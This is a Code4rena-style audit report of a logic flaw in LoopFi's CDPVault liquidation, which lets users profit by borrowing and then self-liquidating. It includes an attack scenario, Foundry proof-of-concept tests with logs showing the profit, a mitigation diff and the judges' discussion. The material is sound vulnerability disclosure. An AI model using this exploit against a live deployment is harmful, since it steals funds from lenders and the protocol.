Liquidation doesn't account for penalty when calculating collateral to give, allowing users to profit by borrowing and self-liquidating

[howlbot-integration]

Lines of code

https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L402-L426
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L521-L532
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L503-L504
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L538-L539
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L567-L569
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L530

Vulnerability details

Impact

CDPVault allows users to borrow underlying from PoolV3 by depositing collateral into the vault, such that the (collateral value of their position / liquidationRatio) >= their current total debt.

Users must repay their debt fully via CDPVault::repay, and the amount must cover their entire current total debt, which also includes various interest factors. If the value of their collateral divided by liquidatioRatio is less than the debt of their position, then their position is considered unsafe and anyone can liquidate the position by buying the collateral at a discount. The amount spent by the caller is used to cover for the debt.

To ensure that users cannot profit from self liquidations, the liquidatePosition function incorporates a penalty mechanism, that is intended to deduct fees from the payment amount, which subsequently goes to the protocol as profit.

The problem is that when the liquidatePosition function calculates the collateral to give to the caller, it utilizes the the repay amount without the penalty, essentially functioning as if there is no penalty mechanism at all. The caller can specify any repay amount, and the collateral they receive will correspond directly to repay amount / discount, with no penalty.

This allows malicious users to profit by deposit collateral -> borrow WETH -> have their position become unsafe -> buy collateral with WETH at a discount. Malicious users can profit and steal funds from lenders and the protocol.

The natspec for the CDPVault::liquidatePosition states that "From that repay amount a penalty (liquidationPenalty) is subtracted to mitigate against profitable self liquidations." However, we will see in the PoC how this has no impact against profitable self liquidations

Proof of Concept

The following block is executed when users repay their debt:

CDPVault.sol#L402-L426

    } else if (deltaDebt < 0) {
@>      uint256 maxRepayment = calcTotalDebt(debtData);
        uint256 amount = abs(deltaDebt);
        if (amount >= maxRepayment) {
            amount = maxRepayment; // U:[CM-11]
            deltaDebt = -toInt256(maxRepayment);
        }

        poolUnderlying.safeTransferFrom(creditor, address(pool), amount);

        uint128 newCumulativeQuotaInterest;
        if (amount == maxRepayment) {
            newDebt = 0;
            newCumulativeIndex = debtData.cumulativeIndexNow;
            profit = debtData.accruedInterest;
            newCumulativeQuotaInterest = 0;
        } else {
            (newDebt, newCumulativeIndex, profit, newCumulativeQuotaInterest) = calcDecrease(
                amount, // delta debt
                position.debt,
                debtData.cumulativeIndexNow, // current cumulative base interest index in Ray
                position.cumulativeIndexLastUpdate,
                debtData.cumulativeQuotaInterest
            );
        }

For users to completely repay their loan, they must pay maxRepayment amount, which is calculated via a call to calcTotalDebt.

If the position is unsafe (collateral value / liquidation ratio < total debt), then anyone can liquidate it for a discount:

CDPVault.sol#L521-L532

        // load price and calculate discounted price
        uint256 spotPrice_ = spotPrice();
@>      uint256 discountedPrice = wmul(spotPrice_, liqConfig_.liquidationDiscount);
        if (spotPrice_ == 0) revert CDPVault__liquidatePosition_invalidSpotPrice();
        // Enusure that there's no bad debt
        if (calcTotalDebt(debtData) > wmul(position.collateral, spotPrice_)) revert CDPVault__BadDebt();

        // compute collateral to take, debt to repay and penalty to pay
@>      uint256 takeCollateral = wdiv(repayAmount, discountedPrice);
        uint256 deltaDebt = wmul(repayAmount, liqConfig_.liquidationPenalty);
        uint256 penalty = wmul(repayAmount, WAD - liqConfig_.liquidationPenalty);

There is also a penalty that the liquidator must pay (deducted from repayAmount). This is to mitigate profits from self-liquidation, as stated by the natspec of this function:

CDPVault.sol#L503-L504

    /// ... From that repay amount a penalty (`liquidationPenalty`) is subtracted to mitigate against
    /// profitable self liquidations ...

So the actual amount of debt repaid by the liquidator is repayAmount - penalty:

CDPVault.sol#L538-L539

    // transfer the repay amount from the liquidator to the vault
    poolUnderlying.safeTransferFrom(msg.sender, address(pool), repayAmount - penalty);

In the same call, the penalty is also transferred to the pool, taken as a profit for the protocol.

CDPVault.sol#L567-L569

     // Mint the penalty from the vault to the treasury
        poolUnderlying.safeTransferFrom(msg.sender, address(pool), penalty);
        IPoolV3Loop(address(pool)).mintProfit(penalty);

However, there is a critical problem here. We can see that the intention here is that the caller pays repayAmount - penalty for the debt, and that the penalty goes towards profit.

This can be confirmed by observing the amount of debt that is covered via repayment:

CDPVault.sol#L530

     uint256 deltaDebt = wmul(repayAmount, liqConfig_.liquidationPenalty);

Note that repayAmount * liqConfig_.liquidationPenalty is equivalent to repayAmount - penalty. So the debt reduced is repayAmount - penalty.

The problem is that the collateral sent to the caller does not incorporate the penalty for liquidation.

Essentially, this makes the penalty redudant, because the caller still receives the full repayAmount of collateral specified, including a discount.

A malicious user can perform the following attack scenario:

1. Deposit collateral via CDPVault::deposit
2. Borrow WETH via CDPVault::borrow
3. Have their position become unsafe (i.e., wait until enough debt interest is accrued such that (collateral value of their position / liquidationRatio) < their current total debt)
4. Fully buy back collateral at a discount

Coded PoC

Note: The value of the discount and penalty were chosen by observing the values currently set in scripts/config.js, they were not chosen arbitrarily.

Add the following to test/unit/CDPVault.t.sol and run forge test --mt testSelfLiquidateProfit -vv

    function testSelfLiquidateProfit() public {
        mockWETH.mint(address(this), 20e18);

        // discount = 0.98 ether (0.02% discount)
        // penalty = 0.99 ether (0.01% penalty)
        CDPVault vault = createCDPVault(token, 150 ether, 0, 1.25 ether, 0.99 ether, 0.98 ether);
        createGaugeAndSetGauge(address(vault));

        // create position
        uint256 wethBefore = mockWETH.balanceOf(address(this));
        _modifyCollateralAndDebt(vault, 100 ether, 80 ether);
        uint256 wethBorrowed = mockWETH.balanceOf(address(this)) - wethBefore;
        uint256 collateralDeposited = 100 ether;
        console.log("weth borrowed: ", wethBorrowed);
        console.log("collateral deposited: ", collateralDeposited);
        
        address position = address(this);
        uint256 amountUserMustRepay = vault.virtualDebt(position);
        console.log("Amount of debt user must repay: ", amountUserMustRepay);

        // any attempt to liquidate now will revert because position is safe
        vm.expectRevert(bytes4(keccak256("CDPVault__liquidatePosition_notUnsafe()")));
        vault.liquidatePosition(position, 1 ether);

        // user waits some time for price to change so position becomes unsafe (but no bad debt yet)
        // in reality, interest will accrue, however to make this PoC simple we will update spot price (which is another way user can take advantage)
        _updateSpot(0.80 ether);
        (uint256 collateral, uint256 debt , , , , ) = vault.positions(position);

        // calculate amount to repay to fully liquidate position.
        uint256 spotAmt = oracle.spot(address(token));
        uint256 discountPercent = 0.98 ether;
        uint256 discountAmount = wmul(spotAmt, discountPercent);
        uint256 repayFull = wmul(collateral, discountAmount);
        console.log("Amount user is repaying: ", repayFull);
        mockWETH.approve(address(vault), repayFull);

        // fully liquidate position
        wethBefore = mockWETH.balanceOf(address(this));
        uint collateralBefore = token.balanceOf(address(this));
        vault.liquidatePosition(position, repayFull);
        uint256 wethSpent = wethBefore - mockWETH.balanceOf(address(this));
        uint256 collateralReceived = token.balanceOf(address(this)) - collateralBefore;
        console.log("weth spent: ", wethSpent);
        console.log("collateral received: ", collateralReceived);
        
        console.log("Total WETH earned: ", wethBorrowed - wethSpent);
        console.log("collateral lost: ", collateralDeposited -  collateralReceived);

        // confirm that collateral in position is 0
        (collateral, debt, , , , ) = vault.positions(position);
        console.log("collateral remaining in position: ", collateral);
    }

[PASS] testSelfLiquidateProfit() (gas: 3761322)
Logs:
  weth borrowed:  80000000000000000000
  collateral deposited:  100000000000000000000
  Amount of debt user must repay:  80000000000000000000
  Amount user is repaying:  78400000000000000000
  weth spent:  78400000000000000000
  collateral received:  100000000000000000000
  Total WETH earned:  1600000000000000000
  collateral lost:  0
  collateral remaining in position:  0

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.46ms

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

As displayed in the coded PoC, since the user receives the full amount of collateral without the penalty applied to the amount they receive, the user profits 1.6e18 WETH with the attack scenario described above.

Tools Used

Manual review, foundry

Recommended Mitigation Steps

Apply the penalty to repayAmount when calculating the amount of collateral to give to the caller. In addition, ensure that the protocol applies a high enough penalty such that self-liquidators cannot profit from this attack.

    function liquidatePosition(address owner, uint256 repayAmount) external whenNotPaused {
        // validate params
        if (owner == address(0) || repayAmount == 0) revert CDPVault__liquidatePosition_invalidParameters();

        // load configs
        VaultConfig memory config = vaultConfig;
        LiquidationConfig memory liqConfig_ = liquidationConfig;

        // load liquidated position
        Position memory position = positions[owner];
        DebtData memory debtData = _calcDebt(position);

        // load price and calculate discounted price
        uint256 spotPrice_ = spotPrice();
        uint256 discountedPrice = wmul(spotPrice_, liqConfig_.liquidationDiscount);
        if (spotPrice_ == 0) revert CDPVault__liquidatePosition_invalidSpotPrice();
        // Enusure that there's no bad debt
        if (calcTotalDebt(debtData) > wmul(position.collateral, spotPrice_)) revert CDPVault__BadDebt();

        // compute collateral to take, debt to repay and penalty to pay
-       uint256 takeCollateral = wdiv(repayAmount, discountedPrice);
        uint256 deltaDebt = wmul(repayAmount, liqConfig_.liquidationPenalty);
        uint256 penalty = wmul(repayAmount, WAD - liqConfig_.liquidationPenalty);
+       uint256 takeCollateral = wdiv(repayAmount - penalty, discountedPrice);
        if (takeCollateral > position.collateral) revert CDPVault__tooHighRepayAmount();

        // verify that the position is indeed unsafe
        if (_isCollateralized(calcTotalDebt(debtData), wmul(position.collateral, spotPrice_), config.liquidationRatio))
            revert CDPVault__liquidatePosition_notUnsafe();

        // transfer the repay amount from the liquidator to the vault
        poolUnderlying.safeTransferFrom(msg.sender, address(pool), repayAmount - penalty);

        uint256 newDebt;
        uint256 profit;
        uint256 maxRepayment = calcTotalDebt(debtData);
        uint256 newCumulativeIndex;
        if (deltaDebt == maxRepayment) {
            newDebt = 0;
            newCumulativeIndex = debtData.cumulativeIndexNow;
            profit = debtData.accruedInterest;
            position.cumulativeQuotaInterest = 0;
        } else {
            (newDebt, newCumulativeIndex, profit, position.cumulativeQuotaInterest) = calcDecrease(
                deltaDebt, // delta debt
                debtData.debt,
                debtData.cumulativeIndexNow, // current cumulative base interest index in Ray
                debtData.cumulativeIndexLastUpdate,
                debtData.cumulativeQuotaInterest
            );
        }
        position.cumulativeQuotaIndexLU = debtData.cumulativeQuotaIndexNow;
        // update liquidated position
        position = _modifyPosition(owner, position, newDebt, newCumulativeIndex, -toInt256(takeCollateral), totalDebt);

        pool.repayCreditAccount(debtData.debt - newDebt, profit, 0); // U:[CM-11]
        // transfer the collateral amount from the vault to the liquidator
        token.safeTransfer(msg.sender, takeCollateral);

        // Mint the penalty from the vault to the treasury
        poolUnderlying.safeTransferFrom(msg.sender, address(pool), penalty);
        IPoolV3Loop(address(pool)).mintProfit(penalty);

        if (debtData.debt - newDebt != 0) {
            IPoolV3(pool).updateQuotaRevenue(_calcQuotaRevenueChange(-int(debtData.debt - newDebt))); // U:[PQK-15]
        }
    }

Assessed type

Error

[c4-judge]

koolexcrypto marked the issue as unsatisfactory:
Invalid

[crypticdefense]

Hi @koolexcrypto this finding was incorrectly duplicated with #58, and since issue 58 was deemed invalid, this one was also deemed invalid. However, this finding is actually different than the one described in 58.

This finding is how liquidators must pay repayAmount to the protocol with a penalty to prevent profitable self-liquidations. repayAmount - penalty is used to cover the debt payment, and penalty is given to the protocol for profit. Since repayAmount-penalty is used to cover the debt, the caller should only get repayAmount-penalty worth of collateral. However, the caller receives the full repayAmount value of collateral including the penalty, as if the penalty added towards the debt. This defeats the purpose of the penalty and allows a critical vulnerability where an attacker can borrow and self liquidate at a discount, thus stealing funds from lenders/protocol, as decribed in the coded PoC.

[c4-judge]

koolexcrypto marked the issue as not a duplicate

[c4-judge]

koolexcrypto removed the grade

[koolexcrypto]

@crypticdefense

Thank you for pointing this out. Could you please adjust the PoC to show the same impact when interested accrued?

Ref:

        // user waits some time for price to change so position becomes unsafe (but no bad debt yet)
        // in reality, interest will accrue, however to make this PoC simple we will update spot price (which is another way user can take advantage)

This will help to assess the severity.

[c4-judge]

koolexcrypto marked the issue as primary issue

[crypticdefense]

@koolexcrypto,

Here is the adjusted PoC that shows the same impact when interest is accrued.

Add the following to test/unit/CDPVault.t.sol and run forge test --mt testSelfLiquidateProfit -vv

    function testSelfLiquidateProfit() public {
        mockWETH.mint(address(this), 20e18);

        // discount = 0.92 ether (8% discount)
        // penalty = 0.99 ether (0.01% penalty)
        // liquidation ratio = 1.05 ether (105%)
        CDPVault vault = createCDPVault(token, 150 ether, 0, 1.05 ether, 0.99 ether, 0.92 ether);
        createGaugeAndSetGauge(address(vault));

        // create position
        uint256 wethBefore = mockWETH.balanceOf(address(this));
        _modifyCollateralAndDebt(vault, 100 ether, 95 ether);
        uint256 wethBorrowed = mockWETH.balanceOf(address(this)) - wethBefore;
        uint256 collateralDeposited = 100 ether;
        console.log("weth borrowed: ", wethBorrowed);
        console.log("collateral deposited: ", collateralDeposited);
        
        address position = address(this);
        uint256 amountUserMustRepay = vault.virtualDebt(position);
        console.log("Amount of debt user must repay: ", amountUserMustRepay);

        // any attempt to liquidate now will revert because position is safe
        vm.expectRevert(bytes4(keccak256("CDPVault__liquidatePosition_notUnsafe()")));
        vault.liquidatePosition(position, 1 ether);

        // 30 days have now passed, with interest accrued
        vm.warp(block.timestamp + 30 days);

        // new amount user must repay due to debt accrued
        amountUserMustRepay = vault.virtualDebt(position);
        console.log("Amount of debt user must repay after 30 days of interest accrued: ", amountUserMustRepay);

        (uint256 collateral, uint256 debt , , , , ) = vault.positions(position);
        
        // calculate amount to repay to fully liquidate position.
        uint256 collateralSpotPrice = oracle.spot(address(token));
        uint256 discountPercent = 0.92 ether;
        uint256 discountAmount = wmul(collateralSpotPrice, discountPercent);
        uint256 repayFull = wmul(collateral, discountAmount);
        console.log("Amount user is repaying: ", repayFull);
        mockWETH.approve(address(vault), repayFull); 

        // fully liquidate position
        wethBefore = mockWETH.balanceOf(address(this));
        uint collateralBefore = token.balanceOf(address(this));
        vault.liquidatePosition(position, uint256(repayFull));
        
        uint256 wethSpent = wethBefore - mockWETH.balanceOf(address(this));
        uint256 collateralReceived = token.balanceOf(address(this)) - collateralBefore;
        console.log("weth spent: ", wethSpent);
        console.log("collateral received: ", collateralReceived);
        
        console.log("Total WETH earned: ", wethBorrowed - wethSpent);
        console.log("collateral lost: ", collateralDeposited -  collateralReceived);

        // confirm that collateral in position is 0
        (collateral, debt, , , , ) = vault.positions(position);
        console.log("collateral remaining in position: ", collateral);
    }

Ran 1 test for src/test/unit/CDPVault.t.sol:CDPVaultTest
[PASS] testSelfLiquidateProfit() (gas: 3775443)
Logs:
  weth borrowed:  95000000000000000000
  collateral deposited:  100000000000000000000
  Amount of debt user must repay:  95000000000000000000
  Amount of debt user must repay after 30 days of interest accrued:  95788804673650282029
  Amount user is repaying:  92000000000000000000
  weth spent:  92000000000000000000
  collateral received:  100000000000000000000
  Total WETH earned:  3000000000000000000
  collateral lost:  0
  collateral remaining in position:  0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.38ms (1.44ms CPU time)

Ran 1 test suite in 11.36ms (4.38ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

After 30 days of interest accrued, attacker self-liquidates and receives the full amount of collateral without the penalty applied to the amount they receive, while profiting 3e18 WETH. This wouldn't be profitable if the penalty was applied to the value of the collateral to give to the liquidator.

Edit: Fixed a mistake that was noted in my first response

[koolexcrypto]

Thank you for the PoC. given the impact demonstrated above, this stays as High.

[c4-judge]

koolexcrypto marked the issue as satisfactory

[c4-judge]

koolexcrypto marked the issue as selected for report